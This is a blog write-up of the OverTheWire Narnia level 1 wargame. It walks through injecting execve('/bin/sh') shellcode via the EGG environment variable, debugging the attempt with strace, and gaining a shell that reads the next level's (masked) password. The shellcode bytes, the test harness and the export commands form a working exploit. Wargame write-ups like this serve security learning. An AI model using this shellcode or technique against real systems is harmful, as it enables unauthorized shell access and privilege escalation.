Overthewire.org - Narnia - Level1 Writeup

The vulnerable code for first level is narnia1 (and narnia1.c) located in /narnia/ directory:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}

This code executes the code inserted in the EGG environment variable

We can build a shellcode that run execve("bin/sh")
There are many on the Internet. I chose one of the most popular (23 bytes long)

Below a shellcode inside C program that test that the shellcode is working
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#include <stdio.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
    fprintf(stdout,"Length: %d\n",strlen(shellcode));
    (*(void(*)()) shellcode)();
    return 0;
}

Testing the shellcode is working

narnia1@narnia:/tmp/narnia1a$ gcc -m32 -fno-stack-protector -z execstack -Wl,-z,norelro shellcode.c -o shellcode
narnia1@narnia:/tmp/narnia1a$ ./shellcode
Length: 23
$ 



And then aplpying to the vulnerable code: 
narnia1@narnia:/tmp/narnia1a$ export EGG=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
narnia1@narnia:/tmp/narnia1a$  /narnia/narnia1
Trying to execute EGG!
Segmentation fault
narnia1@narnia:/tmp/narnia1a$



Unfortunatly it doesn't work!
let's try using strace to see what happens:

narnia1@narnia:/tmp/narnia1a$ strace /narnia/narnia1
execve("/narnia/narnia1", ["/narnia/narnia1"], [/* 19 vars */]) = 0
strace: [ Process PID=26513 runs in 32 bit mode. ]
....
execve("/bin//sh", ["/bin//sh"], [/* 88 vars */]) = -1 EFAULT (Bad address)


execve takes three parameters
- a pointer to the string with executable name
- a pointer to the argument array of the executable
- a pointer to the environment of the executable

In the minimal shellcode the execve is triggered with
- eax: contains syscall id (0x0b)
- ebx: contains a pointer to the executable (usually /bin//sh)
- ecx: contans a pointer to the argument

The minimal shellcode usually works but in this case the arguments seems to be a problem.

We can try with a better (and longer) shellcode that cleans up the passes only the executable path, with NULL argument and environment:

narnia1@narnia:/tmp/narnia1a$ export EGG=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"')
narnia1@narnia:/tmp/narnia1a$ strace /narnia/narnia1
execve("/narnia/narnia1", ["/narnia/narnia1"], [/* 19 vars */]) = 0
strace: [ Process PID=26537 runs in 32 bit mode. ]
....
execve("/bin//sh", NULL, NULL)          = 0
....
read(0, exit
"exit\n", 8192)                 = 5
ioctl(10, TIOCSPGRP, [2156])            = 0
setpgid(0, 2156)                        = 0
close(10)                               = 0
exit_group(0)                           = ?
+++ exited with 0 +++

narnia1@narnia:/tmp/narnia1a$  /narnia/narnia1
Trying to execute EGG!
$ id
uid=14001(narnia1) gid=14001(narnia1) euid=14002(narnia2) groups=14001(narnia1)
$ cat /etc/narnia_pass/narnia2
n********u
$

Et voilĂ 

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.